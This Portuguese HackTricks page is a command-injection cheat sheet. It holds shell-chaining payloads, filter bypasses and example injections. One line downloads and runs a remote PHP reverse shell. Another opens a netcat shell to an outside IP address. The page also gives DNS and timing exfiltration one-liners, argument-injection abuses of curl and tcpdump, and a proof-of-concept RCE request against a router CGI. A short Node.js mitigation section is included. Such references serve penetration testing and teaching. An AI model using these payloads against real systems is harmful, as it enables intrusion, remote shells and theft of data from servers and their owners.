Command Injection
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
O que é command Injection?
A command injection permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite que o atacante obtenha acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
Contexto
Dependendo de onde sua entrada está sendo injetada você pode precisar encerrar o contexto entre aspas (usando " ou ') antes dos comandos.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Limitação Bypasses
Se você está tentando executar comandos arbitrários dentro de uma máquina linux você vai se interessar em ler sobre estes Bypasses:
Exemplos
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parâmetros
Aqui estão os 25 principais parâmetros que poderiam ser vulneráveis a code injection e vulnerabilidades RCE semelhantes (fonte: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
Extraindo dados: caractere por caractere
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
DNS based data exfiltration
Baseada na ferramenta de https://github.com/HoLyVieR/dnsbin, também hospedada em dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Ferramentas online para verificar DNS based data exfiltration:
- dnsbin.zhack.ca
 - pingb.in
 
Bypass de filtragem
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
Ao auditar back-ends em JavaScript/TypeScript, você frequentemente encontrará a API child_process do Node.js.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
exec() inicia uma shell (/bin/sh -c), portanto qualquer caractere que tenha significado especial para a shell (back-ticks, ;, &&, |, $(), …) resultará em command injection quando a entrada do usuário for concatenada na string.
Mitigação: use execFile() (ou spawn() sem a opção shell) e forneça cada argumento como um elemento separado do array para que nenhuma shell esteja envolvida:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em id_user, que mais tarde foi embutido numa chamada exec(), alcançando RCE (Pwn2Own Ireland 2024).
Argument/Option injection via hífen inicial (argv, no shell metacharacters)
Nem todas as injections exigem shell metacharacters. Se a aplicação passa strings não confiáveis como argumentos para uma ferramenta do sistema (mesmo com execve/execFile e sem shell), muitos programas ainda irão interpretar qualquer argumento que comece com - ou -- como uma option. Isso permite que um atacante altere modos, mude caminhos de saída ou dispare comportamentos perigosos sem nunca entrar em um shell.
Locais típicos onde isso aparece:
- Embedded web UIs/CGI handlers que constroem comandos como 
ping <user>,tcpdump -i <iface> -w <file>,curl <url>, etc. - Centralized CGI routers (e.g., 
/cgi-bin/<something>.cgicom um parâmetro selector comotopicurl=<handler>) onde múltiplos handlers reutilizam o mesmo validador fraco. 
O que tentar:
- Fornecer valores que comecem com 
-/--para serem consumidos como flags pela ferramenta downstream. - Abusar flags que mudam comportamento ou escrevem ficheiros, por exemplo:
ping:-f/-c 100000para sobrecarregar o dispositivo (DoS)curl:-o /tmp/xpara escrever em caminhos arbitrários,-K <url>para carregar config controlada pelo atacantetcpdump:-G 1 -W 1 -z /path/script.shpara alcançar execução pós-rotacionamento em wrappers inseguros
 - Se o programa suportar 
--end-of-options, tente contornar mitigações ingênuas que prependem--no lugar errado. 
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
Lista de Detecção Brute-Force
Referências
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
 - https://portswigger.net/web-security/os-command-injection
 - Extraction of Synology encrypted archives – Synacktiv 2025
 - PHP proc_open manual
 - HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)
 - Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks